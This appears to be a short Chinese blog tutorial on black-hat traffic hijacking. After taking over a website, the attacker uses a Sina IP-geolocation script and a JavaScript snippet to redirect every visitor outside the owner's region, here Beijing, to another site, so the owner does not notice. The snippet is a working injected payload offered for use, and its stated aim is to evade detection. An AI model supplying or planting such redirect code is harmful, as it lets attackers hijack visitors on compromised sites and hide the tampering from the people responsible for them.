在黑帽的世界有时黑客获取了一个网站的管理权限,于是会进行流量的劫持。但是在劫持的同时又希望网站所有者不会察觉到,于是便有了针对管理者所有地区以外进行劫持的需求。这里使用的是新浪判断地区的接口,通过直接引入JS文件即可:
<script src=”http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js”></script>
直接访问http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js即可得到所在区域的相关信息,以下是上海地区所获得的结果:
var remote_ip_info = {“ret”:1,”start”:-1,”end”:-1,”country”:”\u4e2d\u56fd”,”province”:”\u4e0a\u6d77″,”city”:”\u4e0a\u6d77″,”district”:””,”isp”:””,”type”:””,”desc”:””};
其中\u4e0a\u6d77即为上海的Unicode的编码,也可通过站长工具有进行转解码(http://tool.chinaz.com/tools/unicode.aspx)
如以下是判断是否为北京地区,若否,则跳转到Alan的博客
<script type=”text/javascript”>
if(remote_ip_info.province == ‘\u5317\u4eac’){
}else{
window.location.href=”http://alanhou.org”;
}
</script>